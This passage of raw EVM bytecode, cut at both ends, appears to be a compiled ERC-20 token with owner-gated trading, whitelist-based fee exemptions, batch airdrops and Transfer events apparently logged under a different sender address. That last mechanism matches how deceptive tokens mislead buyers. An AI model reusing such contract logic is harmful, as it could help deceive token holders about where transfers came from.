808291508390505b60018511156200061057808604811115620005e857620005e762000582565b5b6001851615620005f85780820291505b80810290506200060885620005b1565b9450620005c8565b94509492505050565b6000826200062b5760019050620006fe565b816200063b5760009050620006fe565b81600181146200065457600281146200065f5762000695565b6001915050620006fe565b60ff84111562000674576200067362000582565b5b8360020a9150848211156200068e576200068d62000582565b5b50620006fe565b5060208310610133831016604e8410600b8410161715620006cf5782820a905083811115620006c957620006c862000582565b5b620006fe565b620006de8484846001620005be565b92509050818404811115620006f857620006f762000582565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007298262000705565b915062000736836200070f565b9250620007657fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000619565b905092915050565b60006200077a8262000705565b9150620007878362000705565b9250828202620007978162000705565b91508282048414831517620007b157620007b062000582565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007ea82620007bd565b9050919050565b620007fc81620007dd565b81146200080857600080fd5b50565b6000815190506200081c81620007f1565b92915050565b6000602082840312156200083b576200083a620007b8565b5b60006200084b848285016200080b565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008d657607f821691505b602082108103620008ec57620008eb6200088e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009567fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000917565b62000962868362000917565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009a56200099f620009998462000705565b6200097a565b62000705565b9050919050565b6000819050919050565b620009c18362000984565b620009d9620009d082620009ac565b84845462000924565b825550505050565b600090565b620009f0620009e1565b620009fd818484620009b6565b505050565b5b8181101562000a255762000a19600082620009e6565b60018101905062000a03565b5050565b601f82111562000a745762000a3e81620008f2565b62000a498462000907565b8101602085101562000a59578190505b62000a7162000a688562000907565b83018262000a02565b50505b505050565b600082821c905092915050565b600062000a996000198460080262000a79565b1980831691505092915050565b600062000ab4838362000a86565b9150826002028217905092915050565b62000acf8262000854565b67ffffffffffffffff81111562000aeb5762000aea6200085f565b5b62000af78254620008bd565b62000b0482828562000a29565b600060209050601f83116001811462000b3c576000841562000b27578287015190505b62000b33858262000aa6565b86555062000ba3565b601f19841662000b4c86620008f2565b60005b8281101562000b765784890151825560018201915060208501945060208101905062000b4f565b8683101562000b96578489015162000b92601f89168262000a86565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000be78262000705565b915062000bf48362000705565b92508262000c075762000c0662000bab565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c5b601f8362000c12565b915062000c688262000c23565b602082019050919050565b6000602082019050818103600083015262000c8e8162000c4c565b9050919050565b600062000ca28262000705565b915062000caf8362000705565b925082820190508082111562000cca5762000cc962000582565b5b92915050565b62000cdb8162000705565b82525050565b600060208201905062000cf8600083018462000cd0565b92915050565b60805160a05160c051613ba262000d2e6000396000610a0e01526000610ae70152600061124b0152613ba26000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c8063715018a61161010f578063b715af76116100a2578063e724b0c211610071578063e724b0c21461059d578063ece8c31c146105b9578063f2fde38b146105d5578063f437bc59146105f1576101f0565b8063b715af7614610517578063bf0058d014610533578063d5abeb011461054f578063dd62ed3e1461056d576101f0565b806395d89b41116100de57806395d89b411461047b578063985bdfd114610499578063a457c2d7146104b7578063a9059cbb146104e7576101f0565b8063715018a61461041b5780638187f516146104255780638da5cb5b146104415780638ee6f96c1461045f576101f0565b80632b14ca561161018757806349bd5a5e1161015657806349bd5a5e146103915780634c255c97146103af57806358a1aaae146103cd57806370a08231146103eb576101f0565b80632b14ca5614610307578063313ce5671461032557806339509351146103435780634706240214610373576101f0565b806318160ddd116101c357806318160ddd1461027d57806321326f091461029b57806323b872dd146102b957806327c8f835146102e9576101f0565b806306fdde03146101f557806308b3e41914610213578063095ea7b31461022f578063158ef93e1461025f575b600080fd5b6101fd61060f565b60405161020a91906124e1565b60405180910390f35b61022d600480360381019061022891906126f3565b6106a1565b005b6102496004803603810190610244919061274f565b6108ad565b60405161025691906127aa565b60405180910390f35b6102676108cb565b60405161027491906127aa565b60405180910390f35b6102856108de565b60405161029291906127d4565b60405180910390f35b6102a36108e8565b6040516102b091906127d4565b60405180910390f35b6102d360048036038101906102ce91906127ef565b6108ee565b6040516102e091906127aa565b60405180910390f35b6102f16109e6565b6040516102fe9190612851565b60405180910390f35b61030f610a0c565b60405161031c91906127d4565b60405180910390f35b61032d610a30565b60405161033a9190612888565b60405180910390f35b61035d6004803603810190610358919061274f565b610a39565b60405161036a91906127aa565b60405180910390f35b61037b610ae5565b60405161038891906127d4565b60405180910390f35b610399610b09565b6040516103a69190612851565b60405180910390f35b6103b7610b2f565b6040516103c491906128c0565b60405180910390f35b6103d5610b35565b6040516103e291906127d4565b60405180910390f35b610405600480360381019061040091906128db565b610b3b565b60405161041291906127d4565b60405180910390f35b610423610b84565b005b61043f600480360381019061043a91906128db565b610c25565b005b610449610d6d565b6040516104569190612851565b60405180910390f35b6104796004803603810190610474919061274f565b610d96565b005b610483610f0f565b60405161049091906124e1565b60405180910390f35b6104a1610fa1565b6040516104ae91906128c0565b60405180910390f35b6104d160048036038101906104cc919061274f565b610fa7565b6040516104de91906127aa565b60405180910390f35b61050160048036038101906104fc919061274f565b611092565b60405161050e91906127aa565b60405180910390f35b610531600480360381019061052c9190612908565b6110b0565b005b61054d600480360381019061054891906129fd565b611157565b005b610557611249565b60405161056491906127d4565b60405180910390f35b61058760048036038101906105829190612a75565b61126d565b60405161059491906127d4565b60405180910390f35b6105b760048036038101906105b29190612ae1565b6112f4565b005b6105d360048036038101906105ce9190612b3d565b6114e5565b005b6105ef60048036038101906105ea91906128db565b611701565b005b6105f9611811565b6040516106069190612851565b60405180910390f35b60606004805461061e90612bb5565b80601f016020809104026020016040519081016040528092919081815260200182805461064a90612bb5565b80156106975780601f1061066c57610100808354040283529160200191610697565b820191906000526020600020905b81548152906001019060200180831161067a57829003601f168201915b5050505050905090565b6106a9611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072d90612c32565b60405180910390fd5b600082511161077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c9e565b60405180910390fd5b600081116107bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b490612d0a565b60405180910390fd5b60006107c7610a30565b600a6107d39190612e8c565b826107de9190612ed7565b905060005b83518110156108a757600073ffffffffffffffffffffffffffffffffffffffff1684828151811061081757610816612f19565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90612f94565b60405180910390fd5b61089a3385838151811061088c5761088b612f19565b5b60200260200101518461183f565b80806001019150506107e3565b50505050565b60006108c16108ba611837565b8484611dd8565b6001905092915050565b600660009054906101000a900460ff1681565b6000600354905090565b600a5481565b60006108fb84848461183f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610946611837565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd90613026565b60405180910390fd5b6109da856109d2611837565b858403611dd8565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006012905090565b6000610adb610a46611837565b848460026000610a54611837565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ad69190613046565b611dd8565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61271081565b60095481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b8c611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1090612c32565b60405180910390fd5b610c236000611fa1565b565b610c2d611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190612c32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d20906130ec565b60405180910390fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d9e611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2290612c32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9190612f94565b60405180910390fd5b60008111610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612d0a565b60405180910390fd5b6000610ee7610a30565b600a610ef39190612e8c565b82610efe9190612ed7565b9050610f0a8382612065565b505050565b606060058054610f1e90612bb5565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4a90612bb5565b8015610f975780601f10610f6c57610100808354040283529160200191610f97565b820191906000526020600020905b815481529060010190602001808311610f7a57829003601f168201915b5050505050905090565b61271081565b60008060026000610fb6611837565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a9061317e565b60405180910390fd5b61108761107e611837565b85858403611dd8565b600191505092915050565b60006110a661109f611837565b848461183f565b6001905092915050565b6110b8611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113c90612c32565b60405180910390fd5b8160098190555080600a819055505050565b61115f611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390612c32565b60405180910390fd5b81600490816111fb919061334a565b50806005908161120b919061334a565b507f0858765c007173eefd0c7d006dbabfa031554929e9fff1d057b370654a40f217828260405161123d92919061341c565b60405180910390a15050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112fc611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612c32565b60405180910390fd5b60008251116113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c4906134c5565b60405180910390fd5b60005b82518110156114e057600073ffffffffffffffffffffffffffffffffffffffff1683828151811061140457611403612f19565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603611462576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145990613531565b60405180910390fd5b81600b600085848151811061147a57611479612f19565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506113d0565b505050565b6114ed611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612c32565b60405180910390fd5b60008151116115be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b590612c9e565b60405180910390fd5b60006115c8610a30565b600a6115d49190612e8c565b905060005b82518110156116fc57600073ffffffffffffffffffffffffffffffffffffffff1683828151811061160d5761160c612f19565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff160361166b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166290612f94565b60405180910390fd5b600061271062015f91423385604051602001611689939291906135ba565b6040516020818303038152906040528051906020012060001c6116ac9190613626565b6116b69190613046565b9050600083826116c69190612ed7565b90506116ed338685815181106116df576116de612f19565b5b60200260200101518361183f565b505080806001019150506115d9565b505050565b611709611837565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178d90612c32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc906136c9565b60405180910390fd5b61180e81611fa1565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b60011515600660009054906101000a900460ff16151514611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90613735565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611906575060011515600660009054906101000a900460ff161515145b156119be57611913610d6d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061197e575061194f610d6d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b4906137a1565b60405180910390fd5b5b6000819050600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611a555750611a25610d6d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a945750611a64610d6d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d05576000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611afa576009549050611bb8565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611bb75760011515600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611bb05760009050611bb6565b600a5490505b5b5b6000811115611d0357600061271061ffff168285611bd69190612ed7565b611be091906137c1565b90508084611bee91906137f2565b9250611c1d86600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836121c5565b611c25610d6d565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603611d0157600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cf891906127d4565b60405180910390a35b505b505b611d108484836121c5565b611d18610d6d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dd2578273ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611dc991906127d4565b60405180910390a35b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3e90613898565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ead9061392a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f9491906127d4565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cb90613996565b60405180910390fd5b6120e060008383612447565b80600360008282546120f29190613046565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121489190613046565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121ad91906127d4565b60405180910390a36121c16000838361244c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612234576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222b90613a28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036122a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229a90613aba565b60405180910390fd5b6122ae838383612447565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232c90613b4c565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123ca9190613046565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161242e91906127d4565b60405180910390a361244184848461244c565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561248b578082015181840152602081019050612470565b60008484015250505050565b6000601f19601f8301169050919050565b60006124b382612451565b6124bd818561245c565b93506124cd81856020860161246d565b6124d681612497565b840191505092915050565b600060208201905081810360008301526124fb81846124a8565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61255482612497565b810181811067ffffffffffffffff821117156125735761257261251c565b5b80604052505050565b6000612586612503565b9050612592828261254b565b919050565b600067ffffffffffffffff8211156125b2576125b161251c565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125f3826125c8565b9050919050565b612603816125e8565b811461260e57600080fd5b50565b600081359050612620816125fa565b92915050565b600061263961263484612597565b61257c565b9050808382526020820190506020840283018581111561265c5761265b6125c3565b5b835b8181101561268557806126718882612611565b84526020840193505060208101905061265e565b5050509392505050565b600082601f8301126126a4576126a3612517565b5b81356126b4848260208601612626565b91505092915050565b6000819050919050565b6126d0816126bd565b81146126db57600080fd5b50565b6000813590506126ed816126c7565b92915050565b6000806040838503121561270a5761270961250d565b5b600083013567ffffffffffffffff81111561272857612727612512565b5b6127348582860161268f565b9250506020612745858286016126de565b9150509250929050565b600080604083850312156127665761276561250d565b5b600061277485828601612611565b9250506020612785858286016126de565b9150509250929050565b60008115159050919050565b6127a48161278f565b82525050565b60006020820190506127bf600083018461279b565b92915050565b6127ce816126bd565b82525050565b60006020820190506127e960008301846127c5565b92915050565b6000806000606084860312156128085761280761250d565b5b600061281686828701612611565b935050602061282786828701612611565b9250506040612838868287016126de565b9150509250925092565b61284b816125e8565b82525050565b60006020820190506128666000830184612842565b92915050565b600060ff82169050919050565b6128828161286c565b82525050565b600060208201905061289d6000830184612879565b92915050565b600061ffff82169050919050565b6128ba816128a3565b82525050565b60006020820190506128d560008301846128b1565b92915050565b6000602082840312156128f1576128f061250d565b5b60006128ff84828501612611565b91505092915050565b6000806040838503121561291f5761291e61250d565b5b600061292d858286016126de565b925050602061293e858286016126de565b9150509250929050565b600080fd5b600067ffffffffffffffff8211156129685761296761251c565b5b61297182612497565b9050602081019050919050565b82818337600083830152505050565b60006129a061299b8461294d565b61257c565b9050828152602081018484840111156129bc576129bb612948565b5b6129c784828561297e565b509392505050565b600082601f8301126129e4576129e3612517565b5b81356129f484826020860161298d565b91505092915050565b60008060408385031215612a1457612a1361250d565b5b600083013567ffffffffffffffff811115612a3257612a31612512565b5b612a3e858286016129cf565b925050602083013567ffffffffffffffff811115612a5f57612a5e612512565b5b612a6b858286016129cf565b9150509250929050565b60008060408385031215612a8c57612a8b61250d565b5b6000612a9a85828601612611565b9250506020612aab85828601612611565b9150509250929050565b612abe8161278f565b8114612ac957600080fd5b50565b600081359050612adb81612ab5565b92915050565b60008060408385031215612af857612af761250d565b5b600083013567ffffffffffffffff811115612b1657612b15612512565b5b612b228582860161268f565b9250506020612b3385828601612acc565b9150509250929050565b600060208284031215612b5357612b5261250d565b5b600082013567ffffffffffffffff811115612b7157612b70612512565b5b612b7d8482850161268f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612bcd57607f821691505b602082108103612be057612bdf612b86565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c1c60208361245c565b9150612c2782612be6565b602082019050919050565b60006020820190508181036000830152612c4b81612c0f565b9050919050565b7f526563697069656e7473206c6973742063616e6e6f7420626520656d70747900600082015250565b6000612c88601f8361245c565b9150612c9382612c52565b602082019050919050565b60006020820190508181036000830152612cb781612c7b565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f600082015250565b6000612cf460208361245c565b9150612cff82612cbe565b602082019050919050565b60006020820190508181036000830152612d2381612ce7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612db057808604811115612d8c57612d8b612d2a565b5b6001851615612d9b5780820291505b8081029050612da985612d59565b9450612d70565b94509492505050565b600082612dc95760019050612e85565b81612dd75760009050612e85565b8160018114612ded5760028114612df757612e26565b6001915050612e85565b60ff841115612e0957612e08612d2a565b5b8360020a915084821115612e2057612e1f612d2a565b5b50612e85565b5060208310610133831016604e8410600b8410161715612e5b5782820a905083811115612e5657612e55612d2a565b5b612e85565b612e688484846001612d66565b92509050818404811115612e7f57612e7e612d2a565b5b81810290505b9392505050565b6000612e97826126bd565b9150612ea28361286c565b9250612ecf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612db9565b905092915050565b6000612ee2826126bd565b9150612eed836126bd565b9250828202612efb816126bd565b91508282048414831517612f1257612f11612d2a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000612f7e60198361245c565b9150612f8982612f48565b602082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061301060288361245c565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b6000613051826126bd565b915061305c836126bd565b925082820190508082111561307457613073612d2a565b5b92915050565b7f544553543a2054686520556e697377617020563220706169722061646472657360008201527f732063616e6e6f7420626520746865207a65726f20616464726573732e000000602082015250565b60006130d6603d8361245c565b91506130e18261307a565b604082019050919050565b60006020820190508181036000830152613105816130c9565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061316860258361245c565b91506131738261310c565b604082019050919050565b600060208201905081810360008301526131978161315b565b9050919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026132007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826131c3565b61320a86836131c3565b95508019841693508086168417925050509392505050565b6000819050919050565b600061324761324261323d846126bd565b613222565b6126bd565b9050919050565b6000819050919050565b6132618361322c565b61327561326d8261324e565b8484546131d0565b825550505050565b600090565b61328a61327d565b613295818484613258565b505050565b5b818110156132b9576132ae600082613282565b60018101905061329b565b5050565b601f8211156132fe576132cf8161319e565b6132d8846131b3565b810160208510156132e7578190505b6132fb6132f3856131b3565b83018261329a565b50505b505050565b600082821c905092915050565b600061332160001984600802613303565b1980831691505092915050565b600061333a8383613310565b9150826002028217905092915050565b61335382612451565b67ffffffffffffffff81111561336c5761336b61251c565b5b6133768254612bb5565b6133818282856132bd565b600060209050601f8311600181146133b457600084156133a2578287015190505b6133ac858261332e565b865550613414565b601f1984166133c28661319e565b60005b828110156133ea578489015182556001820191506020850194506020810190506133c5565b868310156134075784890151613403601f891682613310565b8355505b6001600288020188555050505b505050505050565b6000604082019050818103600083015261343681856124a8565b9050818103602083015261344a81846124a8565b90509392505050565b7f57686974656c6973743a2061646472657373206c6973742063616e6e6f74206260008201527f6520656d70747900000000000000000000000000000000000000000000000000602082015250565b60006134af60278361245c565b91506134ba82613453565b604082019050919050565b600060208201905081810360008301526134de816134a2565b9050919050565b7f57686974656c6973743a20696e76616c69642061646472657373000000000000600082015250565b600061351b601a8361245c565b9150613526826134e5565b602082019050919050565b6000602082019050818103600083015261354a8161350e565b9050919050565b6000819050919050565b61356c613567826126bd565b613551565b82525050565b60008160601b9050919050565b600061358a82613572565b9050919050565b600061359c8261357f565b9050919050565b6135b46135af826125e8565b613591565b82525050565b60006135c6828661355b565b6020820191506135d682856135a3565b6014820191506135e6828461355b565b602082019150819050949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613631826126bd565b915061363c836126bd565b92508261364c5761364b6135f7565b5b828206905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136b360268361245c565b91506136be82613657565b604082019050919050565b600060208201905081810360008301526136e2816136a6565b9050919050565b7f436f6e74726163743a207472616465206973206e6f74206f70656e2100000000600082015250565b600061371f601c8361245c565b915061372a826136e9565b602082019050919050565b6000602082019050818103600083015261374e81613712565b9050919050565b7f436f6e74726163743a2074726164696e67206973206e6f742073746172746564600082015250565b600061378b60208361245c565b915061379682613755565b602082019050919050565b600060208201905081810360008301526137ba8161377e565b9050919050565b60006137cc826126bd565b91506137d7836126bd565b9250826137e7576137e66135f7565b5b828204905092915050565b60006137fd826126bd565b9150613808836126bd565b92508282039050818111156138205761381f612d2a565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061388260248361245c565b915061388d82613826565b604082019050919050565b600060208201905081810360008301526138b181613875565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061391460228361245c565b915061391f826138b8565b604082019050919050565b6000602082019050818103600083015261394381613907565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613980601f8361245c565b915061398b8261394a565b602082019050919050565b600060208201905081810360008301526139af81613973565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a1260258361245c565b9150613a1d826139b6565b604082019050919050565b60006020820190508181036000830152613a4181613a05565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613aa460238361245c565b9150613aaf82613a48565b604082019050919050565b